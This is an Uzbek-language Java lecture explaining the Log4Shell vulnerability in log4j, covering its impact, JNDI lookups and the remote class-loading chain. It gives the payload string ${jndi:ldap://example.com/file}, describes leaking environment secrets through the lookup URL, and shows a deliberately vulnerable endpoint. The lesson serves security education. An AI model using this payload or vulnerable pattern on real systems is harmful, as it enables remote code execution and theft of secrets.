Log4Shell zaifligi

All lectures for UZ purposes
Daraja, Dars
Mavjud

7.1 Shov-shuv

Va albatta yaqinda, 2021 yil oxirida sodir bo'lgan voqeani hikoya qilmaslik mumkin emas.

Log4Shell

AQSh Kiberxavfsizlik va Infrastruktura Himoya Agentligi (CISA) Log4Shell muammosini tarixdagi eng jiddiy zaifliklardan biri deb e'lon qildi. Ha, bu bizning sevimli kutubxonamiz log4j haqida.

Bizning kichkina, qulay kutubxonamiz log4j va tarixdagi eng jiddiy zaiflik? Qiziqtirdimi? Unda tinglang.

7.2 Falokatning masshtabi

2021 yil 9 dekabrda Lunasec kompaniyasining xavfsizlik mutaxassislari Log4Shell (CVE-2021-44228 kodli) kritik zaiflikni topgani haqida xabar berdi. Java hamjamiyati Apache Security Team mutaxassislari bu ma'lumotni tekshirib, zaif Java kutubxonalari ro'yxatini e'lon qildi. Ro'yxat juda katta edi.

Agar Java loyihasi log4j kutubxonasidan foydalangan bo'lsa, uni osongina buzib kirish mumkin edi. Java va log4j eng mashhur java-loggger ekanligini hisobga olsak, xavfsizlik mutaxassislariga ko'ra, zaiflik 93% korporativ bulut muhitlariga ta'sir qildi. Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam va boshqa ko'plab serverlar qatorida.

Bundan tashqari, zaiflik nafaqat server dasturiy ta'minotiga, balki ko'plab Java ilovalariga va apparat ishlab chiqaruvchilarga ham ta'sir qildi. Masalan, Intel 32 dasturdan iborat ro'yxatni e'lon qildi: SDK, serverlarni xizmat ko'rsatish tizimlari, Linux vositalari.

Nvidia kompaniyasi ham DGX serverlari va NetQ vositalari bilan bog'liq xavfsizlik muammolari haqida hisobot chiqardi. Apple va Microsoft tezkor yangilanishlarni chiqarishdi.

Qisqasi, brauzerning manzil satriga kirilgan bitta satr maktab o'quvchisi tomonidan serverni yotqizib qo'yishi mumkin, agar bu satrni logger yutib ketsa (ko'plab serverlarda barcha HTTP-so'rovlar loglarga yoziladi).

Kodni tahlil qilish natijasida, kutubxonadagi zaiflik 2013 yildan beri mavjud bo'lgan, ammo hozirgina sezilgan. Yanada chuqurroq qazishni boshlaganda, umuman ko'rinmaydigan tubsiz chuqurlik topildi.

7.3 Tarixdagi eng jiddiy zaiflik

2021 yil dekabrda AQSh Kiberxavfsizlik va Infrastruktura Himoya Agentligi (CISA) e'lon qildi, Log4Shell tarixdagi eng jiddiy zaifliklardan biri ekanligini.

Boshqa ko'plab mutaxassislar o'xshash fikr bildiradi. Bu zaiflik haqida hamma biladi va har yoshdagi xakerlar allaqachon shaxsiy ma'lumotlarni o'g'irlash yoki boshqa turdagi hujumlar uchun foydalanishmoqda. Kelajakda ommaviy buzilishlar va ma'lumotlar sızıntılarının to'lqini kutmoqda.

Falokatning masshtabini hatto Log4j haqida memlar mavjud bo'lgan alohida sayt mavjud bo'lganidan ham bilish mumkin, va har kuni u yerda yangi rasmlar qo'shilmoqda.

Bu muammo uzoq davom etadi. Millionlab, hatto o'nlab millionlab kompyuter tizimlaridagi xavfsizlik teshigini tuzatish kerak. Barcha eski dasturlarni yangilash va kamida ushbu kutubxonani almashtirish kerak. Ko'p hollarda kimda qanday kutubxonalar va qaysi versiyalaridan foydalanilganini hech kim bilmaydi.

Umuman olganda, kompyuter xavfsizlik mutaxassislari uchun ish haqi tez o'sishiga umid qilamiz.

7.4 Zaiflikning mohiyati

Zaiflikning mohiyatini tushunish uchun katta server tizimlari qanday tashkil etilganini tushunish kerak. Odatda, bunday server ilovalari turli serverlarda joylashgan turli xizmatlarga bo'linadi. Va ularga JNDI xizmati yordamida ishlash imkonini beradi.

Java Naming and Directory Interface (JNDI) — bu Java API bo'lib, ob'ektlar/xizmatlarni nomi bo'yicha qidirish uchun ishlatiladi. Ushbu ob'ektlar turli nomlash xizmatlari yoki kataloglarda, masalan, Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) yoki Domain Name Service (DNS) da saqlanishi mumkin.

U bilan ishlash juda oson — bu oddiy Java API bo'lib, u faqat bitta satr parametrini - xizmat nomini qabul qiladi. Uning yordamida har qanday xizmatga murojaat qilib, undan nimadir qilishni va/yoki biror ma'lumot yuborishni so'rashingiz mumkin. Masalan, ${jndi:ldap://example.com/file} qatori bu satrda ko'rsatilgan URLdan ma'lumotlarni yuklaydi.

Agar parametr ishonchsiz manbadan kelsa, bu masofadan sinf yuklash va uchinchi tomon kodini bajarishga olib kelishi mumkin. Va Log4j bilan sodir bo'layotgani ham aynan shundadir. Tajovuzkor shunchaki qurbonning Java-ilovasini zararli rmi/ldap/corba-serverga yo'naltiradi va javob sifatida zararli ob'ektni oladi.

Texnik jihatdan muammo bu log4j kutubxonasida emas, balki JNDI-xizmati bilan ishlashdagi xavfsizlik sozlamalarida. Har doim biz InitialContext.lookup()da qanday satr uzatayotganini tekshirishimiz kerak.

Zaif JNDI-ilovasining misoli:


@RequestMapping("/lookup") @Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 Juda aqlli kutubxona

Va bu yerda log4j nima aloqasi bor, deb so'rasangiz? Gap shundaki, uning ishlab chiquvchilari u bilan ishlashni imkon qadar qulay qilishni xohlaganlar va aqlli loglashni qo'shishgan. U quyidagicha ishlaydi:

Hammasi log xabarlari ma'lumotlarni almashtirish uchun shablon belgilash imkonini bergan joydan boshlangan, misol:


log.debug(“User {user} has {count} friends”, user, count);

Ma'lumotlar almashtirilmasdan avvalgi variant quyidagicha edi:


log.debug( “User “+user +” has “+ count +” friends”);

2013 yilda kutubxonaga ${prefix:name} ko'rinishida shablon bilan belgilangan aqlli prefikslarni almashtirish qo'shildi. Masalan, “${java:version}” qatori chiqishda «Java version 1.7.0_67» ga aylantiriladi. Juda qulay.

Tanish qilingan ifodalar orasida ${jndi:<lookup>} ham bor, bu yerda jndi protokolidan keyin LDAP orqali qidiruvni ko'rsatishingiz mumkin: tasodifiy URL-manzil Java ob'ekt ma'lumoti sifatida so'ralib, yuklanishi mumkin.

Bu JDKning umumiy yondashuvi muammosidir: u ob'ekt ma'lumotlari URL sifatida ko'rsatilishi mumkin bo'lgan ob'ektni avtomatik deserializatsiya qiladi. Bunda masofaviy resursdan nafaqat ob'ekt ma'lumotlari, balki uning sinfi kodi ham yuklanadi.

Buzilish quyidagicha ko'rinadi:

  • Zararli kod fayli yuklanadi
  • Faylda seriyalashtirilgan Java ob'ekti (va uning sinfi) mavjud
  • Java-mashina tomonidan sinf yuklanadi
  • Zararli sinfning ob'ekti yaratiladi
  • Ob'ektning konstruktori chaqiriladi
  • Ham konstruktor, ham statik initsializatsiya zararli sinf kodi bajariladi

Agar log4j log qilgan qatorida ${jndi:ldap://example.com/file} kabi narsa uchrasa, log4j Internetga ulanishda ushbu URL-manzildan ma'lumotlarni yuklaydi. Log qilinayotgan qatorni kirgizish orqali, tajovuzkor ommaga ochiq URL-manzilga joylashtirilgan zararli kodni yuklab va ijro etishi mumkin.

Agar ma'lumotlarni bajarish o'chirilgan bo'lsa ham, tajovuzkor o'zgaruvchilarni URL manziliga joylashtirib, ularni o'zgartirib, o'z serveriga yuborish orqali sirli muhit o'zgaruvchilarini olishlari mumkin.

Yaxshi xabar: kutubxonadagi muammoni tezda tuzatishdi.

Yomon xabar: millionlab serverlar dunyo bo'ylab ushbu kutubxonaning eski versiyasi bilan ishlashda davom etmoqda…

Izohlar
TO VIEW ALL COMMENTS OR TO MAKE A COMMENT,
GO TO FULL VERSION